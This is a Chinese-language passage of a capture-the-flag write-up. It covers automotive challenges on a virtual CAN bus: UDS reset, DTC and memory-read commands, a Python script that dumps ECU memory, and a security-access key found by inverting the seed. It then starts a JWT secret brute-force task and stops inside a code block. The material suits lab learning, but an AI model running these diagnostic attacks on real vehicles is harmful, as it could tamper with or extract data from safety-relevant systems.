<p>第一个字节21里的2是标识符，代表它是连续帧，1代表它是第一个帧</p>
<p>第二行同上</p>
<p>之前的三个字节，和这边的14个字节，总共17个字节，hex转ascii</p>
<p>flag{v1n_BHmach3}</p>
<h3 id="startup-message">Startup Message<a class="anchor" href="#startup-message">#</a></h3>
<p>重启ECU，这里用0x11服务的0x01子功能</p>
<blockquote>
<p>Service ID: <code>0x11</code></p>
<p>子功能 (Sub-function)：</p>
<ul>
<li><code>0x01</code> → Hard Reset（硬复位，相当于掉电重启 ECU）</li>
<li><code>0x02</code> → Key Off On Reset（模拟点火关闭再开启）</li>
<li><code>0x03</code> → Soft Reset（软件复位，类似 MCU reset）</li>
<li><code>0x04</code> → Enable Rapid Power Shutdown</li>
<li><code>0x05</code> → Disable Rapid Power Shutdown</li>
</ul>
</blockquote>
<p>所以执行</p>
<p><code>cansend vcan0 7DF#0211010000000000</code></p>
<p>监听结果是</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">candump vcan0,780:780
</span></span><span class="line"><span class="ln">2</span><span class="cl">vcan0  7DF   [8]  02 11 01 00 00 00 00 00
</span></span><span class="line"><span class="ln">3</span><span class="cl">vcan0  7E8   [8]  02 51 01 00 00 00 00 00
</span></span><span class="line"><span class="ln">4</span><span class="cl">vcan0  7DF   [8]  07 67 30 47 72 65 33 6E
</span></span><span class="line"><span class="ln">5</span><span class="cl">vcan0  7E0   [8]  30 00 00 00 00 00 00 00</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>我发送流控帧后没有结果，那么上一条不是我发送的7DF，就是ECU重启时的对外广播</p>
<p>去掉07长度，67 30 47 72 65 33 6E转ascii是g0Gre3n</p>
<h3 id="engine-trouble">Engine Trouble?<a class="anchor" href="#engine-trouble">#</a></h3>
<p>Hint说查询DTC，去备忘录找了一下，</p>
<p>0x19 读取故障码信息 ReadDTCInformation</p>
<p>那就用0x19服务，但是读取DTC也有很多方式，查询子服务就能看到。题目说了车灯亮了，这是一个状态，我们要通过状态读取DTC，就是0x02子服务</p>
<p>查询这个需要掩码来查询，掩码对应内容是</p>
<table>
	<thead>
			<tr>
					<th>Bit</th>
					<th>Meaning</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>0</td>
					<td>testFailed</td>
			</tr>
			<tr>
					<td>1</td>
					<td>testFailedThisMonitoringCycle</td>
			</tr>
			<tr>
					<td>2</td>
					<td>pendingDTC</td>
			</tr>
			<tr>
					<td>3</td>
					<td>confirmedDTC</td>
			</tr>
			<tr>
					<td>4</td>
					<td>testNotCompletedSinceLastClear</td>
			</tr>
			<tr>
					<td>5</td>
					<td>testFailedSinceLastClear</td>
			</tr>
			<tr>
					<td>6</td>
					<td>testNotCompletedThisMonitoringCycle</td>
			</tr>
			<tr>
					<td>7</td>
					<td>warningIndicatorRequested</td>
			</tr>
	</tbody>
</table>
<p>我们要读取confirmedDTC，bit 3就是1，其余不需要就是0，所以就是00001000，转十进制就是8</p>
<p>所以我们广播这个命令：<code>cansend vcan0 7DF#03190208</code></p>
<p>收到vcan0  7E8   [8]  07 59 02 08 3E 9F 01 AB</p>
<p>所以数据是3E 9F 01 AB，DTC固定返回三个字节，AB是状态，舍去</p>
<p>参考https://blog.csdn.net/qq_40309666/article/details/133955750</p>
<table>
	<thead>
			<tr>
					<th>00</th>
					<th>P   动力总成</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>01</td>
					<td>C   底盘</td>
			</tr>
			<tr>
					<td>10</td>
					<td>B   车身</td>
			</tr>
			<tr>
					<td>11</td>
					<td>U   网络</td>
			</tr>
	</tbody>
</table>
<p>3E 9F 01转二进制得到00111110 10011111 00000001</p>
<p>前两个数字就是上面表中的对应关系。其余转回去</p>
<p>P3E9F01，根据提示的格式，答案是P3E9F-01</p>
<h3 id="secrets-in-memory">Secrets in Memory?<a class="anchor" href="#secrets-in-memory">#</a></h3>
<p>让从内存读数据，内存地址从0xC3F80000开始</p>
<p>从地址读内存是23号服务</p>
<p>我们需要构建的can帧是<code>7DF#072314C3F80000FF</code></p>
<p>07是长度，23是SID ，14代表地址用4个字节表示，读取的块大小用一个字节表示</p>
<p>C3F80000就是地址，FF就是一个字节能读的最大长度。</p>
<p>发送后补一个cansend vcan0 7E0#3000000000000000 流控帧</p>
<p>又遇到收不到连续帧的问题</p>
<p><code>cansend vcan0 7DF#072314C3F80000FF &amp;&amp; sleep 0.01 &amp;&amp; cansend vcan0 7e0#3000000000000000</code></p>
<p>这样可以</p>
<p>可以看到输出了很多行数据，后面大片是0，仅有的几行数据转码是</p>
<p>Block Harbor 2022 Mach-E Simulator Version 1.0.</p>
<p>写脚本吧，不知道距离给的地址有多远呢</p>
<p>脚本循环读取内存，每次读取0xFF的大小，然后加上0xFF的地址，一直读取到我们预设的endAddr</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">can</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">bus</span> <span class="o">=</span> <span class="n">can</span><span class="o">.</span><span class="n">Bus</span><span class="p">(</span><span class="n">interface</span><span class="o">=</span><span class="s2">&#34;socketcan&#34;</span><span class="p">,</span><span class="n">channel</span><span class="o">=</span><span class="s2">&#34;vcan0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">recv</span> <span class="o">=</span> <span class="s2">&#34;[DATA]:&#34;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1"># 开始地址已有，结束地址选大点</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">startAddr</span><span class="o">=</span><span class="mh">0xC3F80000</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">endAddr</span><span class="o">=</span><span class="mh">0xC3F88000</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1">#循环读取内存数据</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">for</span> <span class="n">readAddr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">startAddr</span><span class="p">,</span><span class="n">endAddr</span><span class="p">,</span><span class="mh">0xFF</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="c1">#分割地址</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">byte1</span><span class="o">=</span><span class="p">(</span><span class="n">readAddr</span> <span class="o">&gt;&gt;</span><span class="mi">24</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">byte2</span><span class="o">=</span><span class="p">(</span><span class="n">readAddr</span> <span class="o">&gt;&gt;</span><span class="mi">16</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">byte3</span><span class="o">=</span><span class="p">(</span><span class="n">readAddr</span> <span class="o">&gt;&gt;</span><span class="mi">8</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">byte4</span><span class="o">=</span><span class="n">readAddr</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1"># 构造数据</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">candata</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="n">byte1</span><span class="p">,</span> <span class="n">byte2</span><span class="p">,</span> <span class="n">byte3</span><span class="p">,</span> <span class="n">byte4</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="c1">#构造读取内存can帧</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">readMem</span> <span class="o">=</span> <span class="n">can</span><span class="o">.</span><span class="n">Message</span><span class="p">(</span><span class="n">arbitration_id</span><span class="o">=</span><span class="mh">0x7DF</span><span class="p">,</span> <span class="n">is_extended_id</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">dlc</span><span class="o">=</span><span class="mi">8</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">candata</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">bus</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">readMem</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">frameCount</span><span class="o">=</span><span class="mi">0</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="c1"># 一帧7字节数据，36帧252，基本能覆盖完了</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">while</span> <span class="n">frameCount</span><span class="o">&lt;</span><span class="mi">36</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="n">msg</span><span class="o">=</span><span class="n">bus</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="k">if</span> <span class="n">msg</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="c1"># 判断是否是首帧</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            <span class="k">if</span> <span class="n">frameCount</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="c1"># 首帧要去掉前3个字节，也就是前6个字母</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="n">recv</span><span class="o">+=</span><span class="n">binascii</span><span class="o">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)[</span><span class="mi">6</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="c1"># 收到首帧立马发流控帧</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                <span class="n">FC</span><span class="o">=</span><span class="n">can</span><span class="o">.</span><span class="n">Message</span><span class="p">(</span><span class="n">arbitration_id</span><span class="o">=</span><span class="mh">0x7E0</span><span class="p">,</span><span class="n">is_extended_id</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span><span class="n">dlc</span><span class="o">=</span><span class="mi">8</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="p">[</span><span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">                <span class="n">bus</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">FC</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">                <span class="n">recv</span><span class="o">+=</span><span class="n">binascii</span><span class="o">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">            <span class="n">frameCount</span><span class="o">+=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="n">bus</span><span class="o">.</span><span class="n">shutdown</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">recv</span><span class="p">)</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">readmem.py</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>输出很长的十六进制字符串，不知道为什么，无论我用fromhex，还是unhexlify都报错，可能是这俩函数太严格，毕竟我们截取的字符串长度不够标准</p>
<p>所以执行脚本是用xxd转码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python readmem.py <span class="p">|</span>xxd -r -p</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>xxd比较宽松，可以得到flag{mem+r34d}</p>
<p>注：以前模拟器内置python-can库，现在没有了，需要pip安装，但提示会破坏系统环境，venv没权限，pipx也没有。所以强制安装python-can：<code>pip install python-can --break-system-packages</code></p>
<h3 id="security-access-level-3">Security Access Level 3<a class="anchor" href="#security-access-level-3">#</a></h3>
<p>这题靠猜算法，在CTF中4个字节的种子最基本的算法就是<strong>取反</strong>、<strong>移位</strong>、<strong>异或0x12345678</strong></p>
<p>取反其实就是和0xFFFFFFFF异或，取反另一种写法是<code>~seed</code></p>
<p>这题就是取反，种子是0x1337</p>
<p>python异或比较方便</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x1337</span> <span class="o">^</span> <span class="mh">0xFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="s1">&#39;0xecc8&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>用Cyberchef也可以，不过要先把input作为Hex处理，再异或，然后以Hex输出：</p>
<p><a
  href="https://cyberchef.io/#recipe=From_Hex%28%27Auto%27%29XOR%28%7B%27option%27:%27Hex%27,%27string%27:%27FFFF%27%7D,%27Standard%27,false%29To_Hex%28%27None%27,0%29&amp;input=MTMzNw" rel="nofollow noopener noreferrer" target="_blank"
  >https://cyberchef.io/#recipe=From_Hex(&lsquo;Auto&rsquo;)XOR(%7B&rsquo;option&rsquo;:&lsquo;Hex&rsquo;,&lsquo;string&rsquo;:&lsquo;FFFF&rsquo;%7D,&lsquo;Standard&rsquo;,false)To_Hex(&lsquo;None&rsquo;,0)&amp;input=MTMzNw<span style="user-select:none"> ↗</span></a
>
</p>
<h3 id="security-access-level-1">Security Access Level 1<a class="anchor" href="#security-access-level-1">#</a></h3>
<p>首先通过Level 3，也就是上一题，然后读取 0x1A000处内存，不过可能要读取很长一段</p>
<p>写脚本时注意要切换会话到诊断会话</p>
<h2 id="web">Web<a class="anchor" href="#web">#</a></h2>
<h3 id="sorry-but-your-princess-is-in-another-castle">Sorry, But Your Princess is in Another Castle<a class="anchor" href="#sorry-but-your-princess-is-in-another-castle">#</a></h3>
<p>jwt暴破</p>
<p>我本以为是解开后，伪造一下admin，但是解开后发现有password字段。不过这个题是用hashcat暴破 JWT HS256算法的密钥。</p>
<p>可以使用常见的密码注册，比如admin123，然后暴破 jwt token</p>
<p>这里使用例子里的json登录：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="nt">&#34;username&#34;</span><span class="p">:</span> <span class="s2">&#34;example&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">  <span class="nt">&#34;email&#34;</span><span class="p">:</span> <span class="s2">&#34;example@example.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">  <span class="nt">&#34;password&#34;</span><span class="p">:</span> <span class="s2">&#34;example123&#34;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">json</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
